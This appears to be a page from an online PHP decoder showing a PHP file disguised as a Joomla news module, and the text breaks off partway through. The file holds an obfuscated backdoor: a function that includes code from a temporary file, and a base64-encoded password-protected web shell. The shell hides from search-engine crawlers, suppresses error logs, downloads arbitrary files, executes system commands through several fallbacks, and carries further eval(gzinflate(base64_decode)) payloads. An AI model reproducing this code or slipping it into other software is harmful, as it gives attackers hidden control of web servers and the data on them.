Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


/**
 * ត្រូវ​ប្រាកដ​ថា​មិន​មាន​សញ្ញា​កាត់​នៅ​លើ​ផ្លូវ។
 * សូមមើល https://www.php.net/support.php សម្រាប់ព័ត៌មានបន្ថែម
 * អំពីសៀវភៅណែនាំ PHP និងប្រភេទរបស់វា។
 */

/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   រក្សាសិទ្ធិ (C) 2005 - 2020 Open Source Matters, Inc. រក្សាសិទ្ធិគ្រប់យ៉ាង។
 * @license     អាជ្ញាប័ណ្ណសាធារណៈទូទៅរបស់ GNU កំណែ 2 ឬថ្មីជាងនេះ; សូមមើល LICENSE.txt
 */

function better($code) {
    $tmp = tmpfile ();
    $tmpf = socket_get_status($tmp);
    $tmpf = $tmpf ['uri'];
    fwrite ($tmp, $code);
    $ret = include ($tmpf);
    fclose ($tmp);
    return $ret;
}

/**
* ទទួលបានបញ្ជីអត្ថបទចុងក្រោយបំផុតពីគំរូអត្ថបទ
*
* @param   \Joomla\Registry\Registry\Xmlgetrpc  &$params  វត្ថុដែលកាន់ប៉ារ៉ាម៉ែត្រគំរូ
*
* @return  mixed
*
* @since 1.6
*/

$line = "PD9waHAKQG9iX3N0YXJ0KCk7CkBzZXNzaW9uX3N0YXJ0KCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQGluaV9zZXQoIm1heF9leGVjdXRpb25fdGltZSIsIDApOwpAaW5pX3NldCgib3V0cHV0X2J1ZmZlcmluZyIsIDApOwplcnJvcl9yZXBvcnRpbmcoMCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgMCk7CmluaV9zZXQoImxvZ19lcnJvcnMiLCAwKTsKaW5pX3NldCgnZXJyb3JfbG9nJywgJycpOwokcGFzcyA9ICIwOTdiZWU5NGJkYzM4ZjM1OGUwNGUwNmI2NjFjZDFkMTM4NWJlMWRkNDg4MTVjYzMzOTYwN2JiNDI0OTYyMGEwIjsKJG5tID0gIkphbmRhIE9seW1wdXMiOwpmdW5jdGlvbiBwcm90b3R5cGUoJGssICR2KSB7CiAgICAkX0NPT0tJRVska10gPSAkdjsKICAgIHNldGNvb2tpZSgkaywgJHYpOwp9CgppZighZW1wdHkoJHBhc3MpKSB7CiAgICBpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKGhhc2goJ3NoYTI1NicsICRfUE9TVFsncGFzcyddKSA9PSAkcGFzcykpCiAgICAgICAgcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAkcGFzcyk7CiAgICBpZiAoIWlzc2V0KCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkgfHwgKCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSAhPSAkcGFzcykpCiAgICAgICAgaGFyZExvZ2luKCk7Cn0KCmZ1bmN0aW9uIGhhcmRMb2dpbigpIHsKICAgICAgICBpZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgewogICAgICAgICAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIpOwogICAgICAgICAgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2RlKCd8JywgJHVzZXJBZ2VudHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgewogICAgICAgICAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7CiAgICAgICAgICBleGl0OwogICAgICAgICAgfQogICAgICAgIH0KICAgIGRpZSgnPCFET0NUWVBFIGh0bWw+IDxodG1sIGxhbmc9ImVuIj4gPGhlYWQ+IDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4gPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1lZGdlIj4gPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPiA8bGluayByZWw9InNob3J0Y3V0IGljb24iIHR5cGU9ImltYWdlL3BuZyIgaHJlZj0iaHR0cHM6Ly9jZG4uc2hpenVvc2VjLmlkL3Q3am9kd3NhMzUvU2hpenVvc2VjLndlYnAiIC8+IDxzdHlsZT4gYm9keSB7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IH0gaW5wdXRbdHlwZT0icGFzc3dvcmQiXSB7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4OyB9IGlucHV0W3R5cGU9InBhc3N3b3JkIl06Zm9jdXMgeyBvdXRsaW5lOiBub25lOyB9IGlucHV0W3R5cGU9InN1Ym1pdCJdIHsgYm9yZGVyOiBub25lOyBwYWRkaW5nOiA0cHggMjBweDsgYmFja2dyb3VuZC1jb2xvcjogIzJlMzEzZDsgY29sb3I6ICNGRkY7IH0gPC9zdHlsZT4gPC9oZWFkPiA8Ym9keT4gPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+IDxkaXYgYWxpZ249ImNlbnRlciI+IDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzcyIgcGxhY2Vob2xkZXI9IiI+PC9kaXY+IDwvZm9ybT4gPC9ib2R5PiA8L2h0bWw+Jyk7fQoKCi8vIGxvZ291dAppZihpc3NldCgkX0dFVFsibG9nb3V0Il0pKSB7CnNldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJycsIHRpbWUoKSAtIDM2MDApOwpzZXRjb29raWUoJ3NoaXp1b3NlYycsICcnLCB0aW1lKCkgLSAzNjAwKTsKZWNobyAnPHNjcmlwdD53aW5kb3cubG9jYXRpb249IicuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uJyI7PC9zY3JpcHQ+JzsKfQppZiAoaXNzZXQoJF9HRVRbJ2FjdGlvbiddKSAmJiAkX0dFVFsnYWN0aW9uJ10gPT0gJ2Rvd25sb2FkJykgewogICAgaWYgKGlzc2V0KCRfR0VUWydpdGVtJ10pKSB7CiAgICAgICAgJGZpbGUgPSAkX0dFVFsnaXRlbSddOwoKICAgICAgICAvLyBNZW5jZWdhaCBha3NlcyBmaWxlIHlhbmcgdGlkYWsgZGlpemlua2FuCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKCRmaWxlKSAmJiBmaWxlX2V4aXN0cygkZmlsZSkpIHsKICAgICAgICAgICAgQG9iX2NsZWFuKCk7CiAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2ZlcicpOwogICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7CiAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicuYmFzZW5hbWUoJGZpbGUpLiciJyk7CiAgICAgICAgICAgIGhlYWRlcignRXhwaXJlczogMCcpOwogICAgICAgICAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZScpOwogICAgICAgICAgICBoZWFkZXIoJ1ByYWdtYTogcHVibGljJyk7CiAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1MZW5ndGg6ICcgLiBmaWxlc2l6ZSgkZmlsZSkpOwoKICAgICAgICAgICAgLy8gQmFjYSBkYW4ga2lyaW0gZmlsZQogICAgICAgICAgICByZWFkZmlsZSgkZmlsZSk7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gRmlsZSB0aWRhayBkaXRlbXVrYW4gYXRhdSB0aWRhayBiaXNhIGRpYmFjYQogICAgICAgICAgICBlY2hvICJGaWxlIHRpZGFrIHRlcnNlZGlhLiI7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICAvLyBQYXJhbWV0ZXIgJ2l0ZW0nIHRpZGFrIGFkYSBhdGF1IGtvc29uZwogICAgICAgIGVjaG8gIlBhcmFtZXRlciAnaXRlbScgdGlkYWsgdmFsaWQuIjsKICAgIH0KfQoKZnVuY3Rpb24gZmxhc2goJG1lc3NhZ2UsICRzdGF0dXMsICRjbGFzcywgJHJlZGlyZWN0ID0gZmFsc2UpIHsKICAgIGlmICghZW1wdHkoJF9TRVNTSU9OWyJtZXNzYWdlIl0pKSB7CiAgICAgICAgdW5zZXQoJF9TRVNTSU9OWyJtZXNzYWdlIl0pOwogICAgfQogICAgaWYgKCFlbXB0eSgkX1NFU1NJT05bImNsYXNzIl0pKSB7CiAgICAgICAgdW5zZXQoJF9TRVNTSU9OWyJjbGFzcyJdKTsKICAgIH0KICAgIGlmICghZW1wdHkoJF9TRVNTSU9OWyJzdGF0dXMiXSkpIHsKICAgICAgICB1bnNldCgkX1NFU1NJT05bInN0YXR1cyJdKTsKICAgIH0KICAgICRfU0VTU0lPTlsibWVzc2FnZSJdID0gJG1lc3NhZ2U7CiAgICAkX1NFU1NJT05bImNsYXNzIl0gPSAkY2xhc3M7CiAgICAkX1NFU1NJT05bInN0YXR1cyJdID0gJHN0YXR1czsKICAgIGlmICgkcmVkaXJlY3QpIHsKICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHJlZGlyZWN0KTsKICAgICAgICBleGl0KCk7CiAgICB9CiAgICByZXR1cm4gdHJ1ZTsKfQoKZnVuY3Rpb24gY2xlYXIoKSB7CiAgICBpZiAoIWVtcHR5KCRfU0VTU0lPTlsibWVzc2FnZSJdKSkgewogICAgICAgIHVuc2V0KCRfU0VTU0lPTlsibWVzc2FnZSJdKTsKICAgIH0KICAgIGlmICghZW1wdHkoJF9TRVNTSU9OWyJjbGFzcyJdKSkgewogICAgICAgIHVuc2V0KCRfU0VTU0lPTlsiY2xhc3MiXSk7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRfU0VTU0lPTlsic3RhdHVzIl0pKSB7CiAgICAgICAgdW5zZXQoJF9TRVNTSU9OWyJzdGF0dXMiXSk7CiAgICB9CiAgICByZXR1cm4gdHJ1ZTsKfQoKZnVuY3Rpb24gd3JpdGFibGUoJHBhdGgsICRwZXJtcyl7CiAgICByZXR1cm4gKCFpc193cml0YWJsZSgkcGF0aCkpID8gIjxmb250IGNvbG9yPVwicmVkXCI+Ii4kcGVybXMuIjwvZm9udD4iIDogIjxmb250IGNvbG9yPVwibGltZVwiPiIuJHBlcm1zLiI8L2ZvbnQ+IjsKfQoKZnVuY3Rpb24gcGVybXMoJHBhdGgpIHsKICAgICRwZXJtcyA9IGZpbGVwZXJtcygkcGF0aCk7CiAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7CiAgICAgICAgLy8gU29ja2V0CiAgICAgICAgJGluZm8gPSAncyc7CiAgICB9CiAgICBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgewogICAgICAgIC8vIFN5bWJvbGljIExpbmsKICAgICAgICAkaW5mbyA9ICdsJzsKICAgIH0KICAgIGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7CiAgICAgICAgLy8gUmVndWxhcgogICAgICAgICRpbmZvID0gJy0nOwogICAgfQogICAgZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsKICAgICAgICAvLyBCbG9jayBzcGVjaWFsCiAgICAgICAgJGluZm8gPSAnYic7CiAgICB9CiAgICBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgewogICAgICAgIC8vIERpcmVjdG9yeQogICAgICAgICRpbmZvID0gJ2QnOwogICAgfQogICAgZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsKICAgICAgICAvLyBDaGFyYWN0ZXIgc3BlY2lhbAogICAgICAgICRpbmZvID0gJ2MnOwogICAgfQogICAgZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsKICAgICAgICAvLyBGSUZPIHBpcGUKICAgICAgICAkaW5mbyA9ICdwJzsKICAgIH0KICAgIGVsc2UgewogICAgICAgIC8vIFVua25vd24KICAgICAgICAkaW5mbyA9ICd1JzsKICAgIH0KCiAgICAvLyBPd25lcgogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOgogICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CgogICAgLy8gR3JvdXAKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDoKICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwoKICAgIC8vIFdvcmxkCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6CiAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCiAgICByZXR1cm4gJGluZm87Cn0KCmZ1bmN0aW9uIGZzaXplKCRmaWxlKSB7CiAgICAkYSA9IFsiQiIsICJLQiIsICJNQiIsICJHQiIsICJUQiIsICJQQiJdOwogICAgJHBvcyA9IDA7CiAgICAkc2l6ZSA9IGZpbGVzaXplKCRmaWxlKTsKICAgIHdoaWxlICgkc2l6ZSA+PSAxMDI0KSB7CiAgICAgICAgJHNpemUgLz0gMTAyNDsKICAgICAgICAkcG9zKys7CiAgICB9CiAgICByZXR1cm4gcm91bmQoJHNpemUsIDIpLiIgIi4kYVskcG9zXTsKfQoKaWYgKGlzc2V0KCRfR0VUWydkaXInXSkpIHsKICAgICRwYXRoID0gJF9HRVRbJ2RpciddOwogICAgY2hkaXIoJF9HRVRbJ2RpciddKTsKfSBlbHNlIHsKICAgICRwYXRoID0gZ2V0Y3dkKCk7Cn0KCiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcGF0aCk7CiRleGRpciA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7CgpmdW5jdGlvbiBnZXRPd25lcigkaXRlbSkgewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSkgewogICAgICAgICRkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRpdGVtKSk7CiAgICAgICAgJGRvd25lciA9ICRkb3duZXJbJ25hbWUnXTsKICAgIH0gZWxzZSB7CiAgICAgICAgJGRvd25lciA9IGZpbGVvd25lcigkaXRlbSk7CiAgICB9CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpKSB7CiAgICAgICAgJGRncnAgPSBAcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRpdGVtKSk7CiAgICAgICAgJGRncnAgPSAkZGdycFsnbmFtZSddOwogICAgfSBlbHNlIHsKICAgICAgICAkZGdycCA9IGZpbGVncm91cCgkaXRlbSk7CiAgICB9CiAgICByZXR1cm4gJGRvd25lciAuICcvJyAuICRkZ3JwOwp9CgovLyBBbm90aGVyIENNRApmdW5jdGlvbiBuYW1lU2hpeigpCnsKICAgICRsb2NrbmFtZSA9ICRfUE9TVFsibG9ja2ZpbGUiXTsKICAgICRkaXJuYSA9IGdldGN3ZCgpOwogICAgcmV0dXJuICIyNTAzNzgyMjg1NDIwMDk5MTUwMzYzNTIiIC4gYmFzZTY0X2VuY29kZSgkZGlybmEuJy8nLiRsb2NrbmFtZSk7Cn0KZnVuY3Rpb24gaGFuZGxlck5hKCkKewogICAgJGxvY2tuYW1lID0gJF9QT1NUWyJsb2NrZmlsZSJdOwogICAgJGRpcm5hID0gZ2V0Y3dkKCk7CiAgICByZXR1cm4gIjMwNDE4Mjg0NzMyNzk4NDQ4ODQyMzQxMyIgLiBiYXNlNjRfZW5jb2RlKCRkaXJuYS4nLycuJGxvY2tuYW1lKTsKfQoKZnVuY3Rpb24gZXhlKCRjbWQpIHsKaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgQG9iX3N0YXJ0KCk7CiAgICBAc3lzdGVtKCRjbWQpOwogICAgJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICBAb2JfZW5kX2NsZWFuKCk7CiAgICByZXR1cm4gJGJ1ZmY7Cn0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7CiAgICBAZXhlYygkY21kLCRyZXN1bHRzKTsKICAgICRidWZmID0gIiI7CmZvcmVhY2goJHJlc3VsdHMgYXMgJHJlc3VsdCkgewogICAgJGJ1ZmYgLj0gJHJlc3VsdDsKICAgIH0gcmV0dXJuICRidWZmOwp9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKICAgIEBvYl9zdGFydCgpOwogICAgQHBhc3N0aHJ1KCRjbWQpOwogICAgJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICBAb2JfZW5kX2NsZWFuKCk7CiAgICByZXR1cm4gJGJ1ZmY7Cn0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CiAgICAkYnVmZiA9IEBzaGVsbF9leGVjKCRjbWQpOwogICAgcmV0dXJuICRidWZmOwp9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoInBvcGVuIikmJmZ1bmN0aW9uX2V4aXN0cygicGNsb3NlIikpIHsKICAgIGlmKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjbWQsInIiKSkpewogICAgd2hpbGUoIUBmZW9mKCRmKSkKICAgICRidWZmIC49IGZyZWFkKCRmLDEwMjQpOwogICAgcGNsb3NlKCRmKTsKICAgIH0KICAgIHJldHVybiAkYnVmZjsKfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSl7CiAgICAkcGlwZXMgPSBhcnJheSgpOwogICAgJHByb2Nlc3MgPSBAcHJvY19vcGVuKCRjbWQuJyAyPiYxJywgYXJyYXkoYXJyYXkoInBpcGUiLCJ3IiksIGFycmF5KCJwaXBlIiwidyIpLCBhcnJheSgicGlwZSIsInciKSksICRwaXBlcywgbnVsbCk7CiAgICAkYnVmZiA9IEBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7CiAgICByZXR1cm4gJGJ1ZmY7Cn0gZWxzZSB7CiAgICByZXR1cm4gIlVuYWJsZSB0byBleGVjdXRlIGNvbW1hbmQiOwogICAgfQp9CgpmdW5jdGlvbiBwd244KCRjKSB7CiAgICBldmFsKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCJyVmhiYzV0R0ZIN1ByOWd5MUVXVjdJRGxTbkprT1hWcWorMDJ0ZFBZeVVNVURiT0NSWkFnMEN3UXkzSDEzM3NXRmxpV2xlMTJ5a3hHaEQzbk8vZkxPaUozNk4xZFpPaE9aL3ppaFJQaUpFRVhKRndSaWg3UUtwdUhnWU4wM0VQNkhQNDVZN1RoTk1DREhsNGdlSnc0U2xMMDl2cjgvUExxSEUyUWg4T0VqSVdqM3k0K1hQMWhuNTdjbnRnM2w1L09nTVJjRDh3MkJULzhkSFoxYXArZXZmbHdici81Y1BuMkZMMUdDUW05VjY5a25DN2c3SnZvbGZwWXhMKzVmUSs2bFFMVWFMdUFabzNneHdJLzFLd1h0N1hTbGpVYVMwY0s0SktqQmNpOTZXV1Jrd1p4aEd3N3g2R1prNEw3bDI2SE81UTlYa3dOUFdCU3h3aCtqNUNWdjNTN0loRjc5QVdONCtWMFZvbkhZUmc3UnZFdXFOY1pQNSt0YVpqQXVhbmVxaGNkYkhCd2FvTWROblpkV2dIQ2gvMVZDbGFrZnBEc0h2c0VyK3lRNEs5R3A0ZXNnUUNxZTBFWVBrUDltcUZBeEhQblh4aXRBM21wWUV2bmJpTW42dXhoVDNFU3hndERZeEovaGFqK3VOWjZOYUJDTlk4U1lvZ0UwcmxmRk5nRVJWQjlSYlhWTklGbmdHSWhpWXphMEE1a0FHUlR2eitVNHkrb2wyRVBpaThJaWF0SjBhWWt6V2dreGxHdEVjZ0NwYlNRa0ZUYm92VHU4WnpWT005aFExK0RRcHV0dEU1ZU54NGhyb2NkSWpxcW9MQjlITGtob1FtTFNzRktTV2hUZ2wzRDdDaUR3SDFYTWRZQmtTQWJjWEhDT01rb3FUSkFsZ1dOUkMwT2prUEV1UVZaSXA1U2tFTkVNU0NpcVFMclhkWVdrYVcwdk5IYUpFcnB2VUt5UXdUdVd2NGNKNEZqcy9nSVBsMlExQllPRERXSW9FSk56S0lzT2xtQWFkajlQZkRzNUQ1SnliSXB0dmhtU0h3S2tRSkFMYTMrMkJEbTRhK2dPN2NoOXJ3OHk0Ym1lSHY3Wk1Venl0KzdFelJxTmRFNkhlNW9rRUx0dGlSMGdiZjNhRUQxb0tOc2xjOENOOWY5RWZURkhqb1F1d1ZQWlVhVGtCVE1lWGZ4enY3ejVQZnI5L2JIcy9jM2w5ZFhhRElCZTJCRU12dGhGTUprSGJXcThRbTdtbEtlNmZXeWtLcTIybFdFSmMveWtUTGNqRlpSVnkwWml1NWFtOFBLZGd0VHlXUEkzYXRUek5wbndHNUJ6Q0x3VWh1MklPQ2RkVVdEYnpnbDlhd1h4cCtRZXpxbXpJblQ2YXlIcHJPWjZLalVKcFRHVlRjenFvN2JRVmxDa0xIRGVIdG9SNTluWGl1ZEMxaExHdmxBeVFZbUREMUtWZ1NuaHZaNWJacmc5YWVtZm1PTVVqcTFabWp2aWNrTGF3OGZZdG9KcGZoZUUydWpHRWU1UW85N2pjOVI1bi9SYXl0OEg4YllCV05XMlBscWFILzlERWFZYXhlcWNrNkl4OTRkN0pFNW5oTTJwNlVSWEhMdk5YMXhzc1VSdFNVbFowZlplUCtmVUxLZlVzeC9qR3JKRCszazZTQnFhKzN4RUZRalVpL2FnNmdWajZOeTM0TytBTDduUEUrTDRPMnBha0hmY0ppeDRFVklhdGZRMlZHenRldlJsczI0VW1US2NmTW16VlpleHdjOWN4Rm9oKzBubnJ3ZEYyZkh4eUJjYnVuYnJXQk9Zc21tVWx2Ull5eVRKMmR4VXhDWEFTNS9ncHFMWUxXa0NhU3dMWUswSHlhRnZKSnpaNElNQ3gwZElYWUlQLzFPSjcrSUNHT3BMTUtjNGZFQWJadmpqVTdHNTRGd1hpdnB4bkpzUEw3WFNEdVNWS3VjTk1MTDFqYkZBWHBvSU5Femg1UXNrL3lxNlE1K0dSNE0rOFBEWVYvT0VkRVJzaDZRTFNNSmV5TVZaRTQxeWEraFFwcWdPeCtXOEVyRlBEam1FelhRMnREa3BsZGd3bVdSeURhOGZJa3VJZjB3ek5FQXJwTTRja2lDVXA4Zzl1NWk2cUpsN0dZaFFjdGc0YWNvREFqQ1hnb3JOS1BKVGJnalA5R2NuS1pCdEpEQmN5aUNxZU5EUDQ2WGUrZ1dISVh1MktXTmtpUUxVeENMTUxxNVBMODUvd2g2a2toa0FYODZQaWlFSXhpY1M3eGFFUmU2OW9Mc0tXeElmWndpQnlkUStBNDB5d1VvazBPNUFTV0ZtMkpQeEU3OE9BdGQ1QVhyL0t0RGNlSzNjSVVvV2VaWUVjQmQxUkhMSWpraDJITEdjK3BraEhaMldwa1VSRFptdzY3TkNybDB3Tmg3TFI3MlRQZE5hMlFPKzdEK3dkdWhlV2p1czdkOTB6enNtL21ieGI3Tk9xcjAxWXZvNWhuZnV0NEk4cVVyam9wZDVwU1JGZXpNVHcyRW91UU9odnNEYTNBd0lBT0xsWjVLYi9ZSSs2Q2NyTUk5V3kyWlBZK1VMcGdyVnk5N05sdnErZkhlempUVVlmSXNNWjlON0phc2lWYXhTM3R1RFA4N21Hd3hRRWFwWjJnUEhHYnpPZElLcU5hZGdTc0JEa25GdnhZVmk1YWVCTitKYWdiRC9FLzh6UE9nU2NoYlRjSFRiRUF5ZWpXOTRRVTRWbXkrS3VjWWN5OUprbnorTnE5YlgxajZSTVdZZ2Y4Y0Z4UDZ5KzV1ZTVIaEdFZEhqZm5hT1B0N2dtTHE1dnBNUVIyWTNGOW15dXRWbVFPY3NiUnk4dzg9IikpKTsKICAgIH0KCmZ1bmN0aW9uIGNtZDgoJGlubikKewpvYl9zdGFydCgpOwpwd244KCRpbm4uJyAyPiYxJyk7CiRvdXR0ID0gb2JfZ2V0X2NsZWFuKCk7CnJldHVybiAkb3V0dDsKfQoKZnVuY3Rpb24gcHduNygkY21kKSB7CiAgICBldmFsKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCJ6Vmh0ajlwR0VQNmVYN0hoM01NRVNBM0hBWWZEVlZIYUtKV2k1cFNteW9mVHlWcnNOVGd4dHVVWERwTHczenV6dThick42NlYrcUdXd1BidTdMdytNN1BydFIrdXFFODB1cklIUk5zd1AyS3grZXdaZ2N2TkFqdjF3b0FrYVR5TzBsaS8xT0FKcUNLeUpBYmNFN2pQZStRN3A4WkxvNDRUc3dUSERmTTA2b2F4cm4yQk1TMFpqa3dDajdjNER3L0RvYnE2eE9IVksrQnROcy85V0pJd2RuVFU1bDZMK3RxWGgxNUJlVHc5eFN6TjR1QzBUSkFjSzdhQlhXUGdvMnNSTjIxYk15bk1VaGpyZEVyMkVGM3psbWlDUjE3Qkluem85MnUyNE5LWFMySnZCSHR5U1l5OTYvWXFWdUhNN1czSjJyb053S3BaLzhmWVMxa1JHZmp0NEJmVXpQQWFZaUxHcEJGQml4SEN5YVFQc3c5RUdyTnJNV1hYYkVoVlo1L1Jyem9QeXprd3JSdVJtYzhLdThXa3NaL09CeUxPcUdkRWhqQTBNaFR0TkJRSkFzQVlud1c2NURhOHBRcU41d0tpeUhPaGhWengwNUtNQVlvRVoxN2d4SkFBZ3V2aFFlSVdmTkU0WVJiemdmbUtKcXdVRTJhbGg0aUJXc0loT0QvZ21nL0l1Q2VUVUJKR205QjFhNVRqa28xSXhZSTA4YjdWZVY1TkJjOFNjWkJ0NjRUeml2QTZVdVRTRnJ4c0dIVllqTm1PTERFZXVmWUlJZkNpcW1jMUZZUkRUa29KWGdQRXg2U1dOcGJyMDNWU281MDAwdTQ0T0dwOHl5aVJ0RnUyVGI0MTBJN25xbDl5eUVpZGwwc3lJcGVYaWw1TE1rVWdYWkM3VDliN0Q2OS9IWkM3dDlaSDRHWjlSdXlXR09GMVFUWTBjSHhHSXE4K3FUazBwWlkwNGdRY1JPY3ZoWG1Md3VkeXlHeGhKREdTRzFzbU94TG1BNWNuakx0dU1ZN3RtVjJYbXJKOStvUlVwV2lvT2ZsY01mM0hEL0pjWWNWZlQvYjBTdXhrWnJvVVRGR2lKb2Z2QzZZRFJibUI0cDZINW54ZXM5UUNKM3UyaFVOSm5qZ2FaTGlhQ3I2WHBQclRRbm84bXI1N3JqQVhBZnNaU210ejBzbnlKaENyU3ZWNDJUSnJxT1VMaGhJdnQ4VGcwUzBOdmxJeEp3ZXJjZ1dnV015SzBvVC92VHJzTGtqWERvTWtwVUhhSmZrVE5CTm1mNjNSb242Q0tSUmpZeitiVE5sME5Kdk1ydUR1VHE5NnRRVjRBYy9VQ3pMV0NPVmk4cCs1RFNQUWh6THkvM0hleWd2R0c3Yi8xNzZiVDYrbjg2c3hlTzVtT3Y3dlBKZjN2Y0pJV2R5ZjdQMDhmN3lBeGdkTUkramc4b1dicmpaSDdzZlNuZ1cySWpST2VXY3Axc2lkaUhJWnhybDlEcFo4dzJoSm83eStDa0ZEU1l3OXl6UFBJRWVBQnByVXJBMHN5eVhuTlRMR2srbkVubHpQWEZFOWYzdi9sb2dHVXd1TnVudHRyNVJ0TGs0T1NjcTJ2RHJscGFxMlVaYzlPcDh2aERoaDFUR3VCUTA3UHBRc3JqWk8xd3JvdHRoNXlDWGNMOU9teHBuVG8ydW16dlFhTTN4Mk03c1NuaEVHdEhtbDBBS0FWMDNSWTBOUSswdStYVkxRU1I0M25zOU9ldko4VVJpVis0ZmladHVuY0FTSkR6UlZuTFNqTWRGd3pDd1AyWnQwWFF3VnFNeERaVmtPZ3oxcFpxZDZrWndWMzZjYkx4bmVJaWNNbUhncmkxTEl1RjdRclZ2U1VDai9qdTkrRlRsUnR2STlHMXdGSFdNRlA5eHdPeVdySVdDZ3A0Y25wYnQzZDlhSFB3ZWsrL24zUDdvOUZWV094L1R1SjlDRDNJVnZDTnp3cFBRaThQWXltZ2tKQS8vd3N0c3JzZFlDaS9wK2FLUGFrSmdYeEF2c21HSDJvMG5nUnovRHpRZzVoQmxDbXlS